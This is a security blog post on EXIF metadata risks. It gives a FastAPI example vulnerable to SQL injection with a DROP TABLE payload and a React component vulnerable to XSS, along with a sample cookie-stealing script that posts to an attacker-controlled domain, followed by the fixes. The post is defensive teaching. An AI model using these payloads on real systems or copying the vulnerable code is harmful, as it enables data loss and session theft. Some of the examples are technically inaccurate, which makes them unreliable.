“EXIF Metadata: A Hidden Door to Cyber Vulnerabilities”

Beinset Hounwanou
8 min readOct 20, 2023

--

Context

In our digitally-driven age, seemingly innocuous details can inadvertently become doorways to significant security breaches. At a glance, digital files, such as images, appear as simple content. Yet, lurking beneath the surface, many of these files carry with them a payload of hidden data known as Exchangeable Image File Format (EXIF) metadata. While EXIF metadata can be embedded in various digital mediums, our spotlight here is primarily on images. This concealed data can reveal specifics about the capturing device, its settings, date, time, and perhaps most alarmingly, the precise geographical coordinates of the shot’s location.

So, with such potential risks at hand, why is it paramount to meticulously cleanse our digital images of EXIF metadata? Let’s venture further to understand.

  1. Privacy Concerns: EXIF data, especially geolocation data, can inadvertently disclose the location of sensitive places. For instance, if a photo taken in a secret corporate research lab or an individual’s private residence is shared online without stripping the EXIF data, anyone who downloads the image can potentially find out the precise location of that place.
  2. Potential for Cyberstalking: By consistently examining the EXIF data from photos shared online by an individual, a malicious actor could track patterns in the individual’s movements or habits, potentially facilitating stalking or other harmful actions.
  3. Security Risks: In more advanced cyberattacks, EXIF data can be manipulated to embed malicious payloads, leading to various cyber threats when the image is opened on a victim’s device.

To truly appreciate the depth of these potential hazards, let’s delve into two contrasting yet equally concerning scenarios:

1. Unintentional Disclosure through EXIF Data:

Scenario:

Alice is an enthusiastic social media user who loves sharing her life moments. One day, she takes a picture in her new home and posts it online. Unknown to Alice, the photo’s EXIF metadata, which includes geolocation details, is intact. Any tech-savvy follower with ill intentions could access this metadata, extracting the precise location of Alice’s residence. The implications of such a revelation range from privacy invasion to potential real-world threats to Alice.

2. Malicious Exploitation of EXIF Metadata:

Scenario:

Sophia is an administrator for a popular online art gallery where users can upload their artwork. The website employs an image preview feature, leveraging a third-party library to extract details, including EXIF metadata, from these images. This provides context about the artwork, such as the type of camera used and its settings. An attacker, aware of this functionality, embeds a malicious payload within the EXIF data of an image and uploads it to the gallery. As the site extracts the EXIF data, the embedded payload is executed, compromising the site and potentially its visitors.

Both scenarios underscore the necessity of rigorous EXIF metadata management. Whether it’s safeguarding against unintentional data leakage or defending against crafty cyberattacks, the overarching message remains: EXIF metadata, if not handled correctly, can expose unsuspecting individuals and platforms to significant cyber vulnerabilities.

Practical Examples of Malicious Exploitation of EXIF Metadata

FastAPI — SQL Injection via EXIF Data

Imagine storing EXIF data into a database without proper sanitization:

Prerequisites:

  • Python
  • FastAPI
  • Pillow

Code:

from fastapi import FastAPI, UploadFile, HTTPException
from PIL import Image, ExifTags
import sqlite3

app = FastAPI()

@app.post("/upload/")
async def upload_image(file: UploadFile = UploadFile(...)):
try:
image_data = await file.read()
image = Image.open(BytesIO(image_data))
exif_data = image._getexif()

image_description = exif_data.get(ExifTags.TAGS['ImageDescription'])

# Dangerous: Directly using EXIF data in SQL query
conn = sqlite3.connect('images.db')
cursor = conn.cursor()
cursor.execute(f"INSERT INTO images (description) VALUES ('{image_description}')")
conn.commit()

return {"message": "Image processed"}

except Exception as e:
raise HTTPException(status_code=400, detail=f"Error processing image: {e}")

Suppose a malicious actor sets the ImageDescription EXIF tag of an image to:

'; DROP TABLE images;--

When the attacker uploads this image, the SQL command that is constructed becomes:

INSERT INTO images (description) VALUES (''; DROP TABLE images;--')

Here’s a breakdown of what this command does:

  1. '': Ends the string for the VALUES section.
  2. ;: Ends the INSERT command.
  3. DROP TABLE images;: Executes a new SQL command that deletes the entire images table from the database.
  4. --: This is a comment in SQL, which makes the SQL parser ignore the rest of the line (including the trailing unmatched quote).

So in the previous FastAPI the line :

cursor.execute(f"INSERT INTO images (description) VALUES ('{image_description}')")

Become :

cursor.execute(f"INSERT INTO images (description) VALUES ('''; DROP TABLE images;--'')")

As a result, the whole images table is deleted from the database. Depending on what data was stored there and whether there were backups, this could be a catastrophic data loss.

Next.js — State Manipulation

Consider an application that updates its state based on EXIF data. You can leverage client-side libraries like exif-jsto read and optionally filter EXIF metadata. When a web page renders content from an untrusted source without adequate sanitization, it’s susceptible to a type of attack called Cross-Site Scripting (XSS).

import EXIF from 'exif-js';

function ProfilePicture(props) {
const [username, setUsername] = useState('');

useEffect(() => {
EXIF.getData(props.imageFile, function() {
const user = EXIF.getTag(this, "Artist");
setUsername(user);
});
}, [props.imageFile]);

return <div>Welcome, {username}</div>;
}

Here’s how this can happen:

1- Untrusted Data Source: The Artist tag of the image's EXIF data is considered an untrusted data source. A user (or attacker) can modify this tag to include any content they wish.

2- Insertion into Web Page: The Next.js code retrieves the content of the Artist tag and directly sets it as the username. If that tag contains a script, and if it's rendered as raw HTML without escaping, the script will be executed by the browser.

const user = EXIF.getTag(this, "Artist");
setUsername(user);

If user contains the string <script src="attacker-controlled-domain/malicious-script.js"></script>, the script will be inserted directly into the rendered HTML of the page.

3- Script Execution: Once the script tag is in the HTML, the browser will see it as a directive to fetch the script from the specified domain (attacker-controlled-domain) and execute it.

The malicious malicious-script.js hosted on attacker-controlled-domain can have the following content :

// Collects cookies and sends them to the attacker's server
let userCookies = document.cookie;
let xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker-controlled-domain/collectData', true);
xhr.send(userCookies);

// Overrides the main functionality of the website or redirects the user to a phishing page
window.location.href = 'https://fake-version-of-your-site.com';

When this script is executed:

  1. It first collects all the cookies of the user from your website. If your website uses cookies for authentication or to store other sensitive information, the attacker will now have access to that data.
  2. The script then sends these cookies to the attacker’s server using an XMLHttpRequest.
  3. After sending the cookies, the script redirects the user to a fake version of your website (phishing site). This fake website might look exactly like yours but is controlled by the attacker. If the user doesn’t notice the change and enters any sensitive information (like passwords or credit card details), the attacker will capture that too.

In essence, using this simple script, the attacker can steal sensitive user information and potentially gain unauthorized access to user accounts.

The external script (malicious-script.js) can have a myriad of nefarious objectives:

  • Stealing Cookies: The script could send the user’s cookies, which might contain session identifiers, to the attacker. This could allow the attacker to impersonate the user.
  • Keylogging: The script could listen to keystrokes and send any input (like passwords or credit card numbers) to the attacker’s server.
  • Defacing the Site: The attacker could change the content of your webpage to display false information or malicious content.
  • Loading Malware: The script might try to exploit browser vulnerabilities to install malware on the user’s machine.
  • Phishing: By manipulating the DOM, the script could simulate a login form, tricking the user into entering their credentials.

Modern browsers have security policies like Content Security Policy (CSP) to prevent such malicious scripts from being executed. However, if the website does not have a strict CSP in place or other security headers, then this kind of attack can happen more easily.

Defensive Strategies Against EXIF Metadata Exploits

For Server Side, to safeguard against potential vulnerabilities, developers should:

  • Always validate and sanitize any input data before processing, whether it comes from form submissions, image metadata, or other sources.
  • Use parameterized queries or prepared statements to avoid SQL injection attacks.
  • Implement strict server-side validation rules for all incoming data to ensure it adheres to expected formats and values.
  • Regularly update server software, frameworks, and libraries to benefit from the latest security patches.
  • Employ defense-in-depth strategies, ensuring that even if one security measure is bypassed, others are in place to prevent a full breach.
  • Regularly conduct security audits and penetration testing to detect and rectify potential vulnerabilities proactively.

From Client Side, to protect against this, developers should:

  • Always sanitize and escape any data that will be displayed on the web page.
  • Implement a strict Content Security Policy to prevent the execution of unauthorized scripts.
  • Avoid inserting untrusted data directly into the DOM. If data must be inserted, use frameworks or methods that automatically escape content (like React’s JSX rendering which, by default, escapes content).

Practical Strategy Application Examples

Countermeasures Against SQL Injection via EXIF Metadata in FastAPI

Having understood the risks associated with EXIF metadata, it’s essential to realize the practical application of mitigating these risks.

To protect against SQL injection, one effective method is using parameterized queries. It ensures that the data sent to the database is always treated as data and not executable code. This method is preferable over “sanitizing” because it provides a more robust defense against SQL injections.

Here’s the revised FastAPI code, using parameterized queries for the SQLite database:


from fastapi import FastAPI, UploadFile, HTTPException
from PIL import Image, ExifTags
from io import BytesIO
import sqlite3

app = FastAPI()

@app.post("/upload/")
async def upload_image(file: UploadFile = UploadFile(...)):
try:
# Read the file content into an in-memory buffer
image_data = await file.read()
image = Image.open(BytesIO(image_data))
exif_data = image._getexif()

image_description = exif_data.get(ExifTags.TAGS['ImageDescription'])

# Use parameterized query to safely insert the data
conn = sqlite3.connect('images.db')
cursor = conn.cursor()
cursor.execute("INSERT INTO images (description) VALUES (?)", (image_description,))
conn.commit()

# Remove EXIF metadata
image_without_exif = Image.new(image.mode, image.size)
image_without_exif.putdata(image.getdata())

# Convert the image to bytes for the response
img_byte_array = BytesIO()
image_without_exif.save(img_byte_array, format="PNG")
byte_data = img_byte_array.getvalue()

return {"message": "Image processed"}

except Exception as e:
raise HTTPException(status_code=400, detail=f"Error processing image: {e}")

if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)

This way, the description from the image’s EXIF data is never directly interpolated into the SQL query, eliminating the potential for SQL injection.

Countermeasures Against Next.js — State Manipulation

One common way to sanitize input in JavaScript is by utilizing DOMPurify, a library that helps prevent XSS. Here’s how you can modify the ProfilePicture component to sanitize the input before setting the state:

import React, { useState, useEffect } from 'react';
import EXIF from 'exif-js';
import DOMPurify from 'dompurify';

function ProfilePicture(props) {
const [username, setUsername] = useState('');

useEffect(() => {
EXIF.getData(props.imageFile, function() {
let userFromImage = EXIF.getTag(this, "Artist");

// Sanitize the input
userFromImage = DOMPurify.sanitize(userFromImage);

setUsername(userFromImage);
});
}, [props.imageFile]);

return <div>Welcome, {username}</div>;
}

export default ProfilePicture;

However, it’s crucial to note that filtering on the client side isn’t foolproof. A malicious user can still directly send a request to the server. This is why it’s always advisable to have client-side and server-side checks for utmost security.

--

--

No responses yet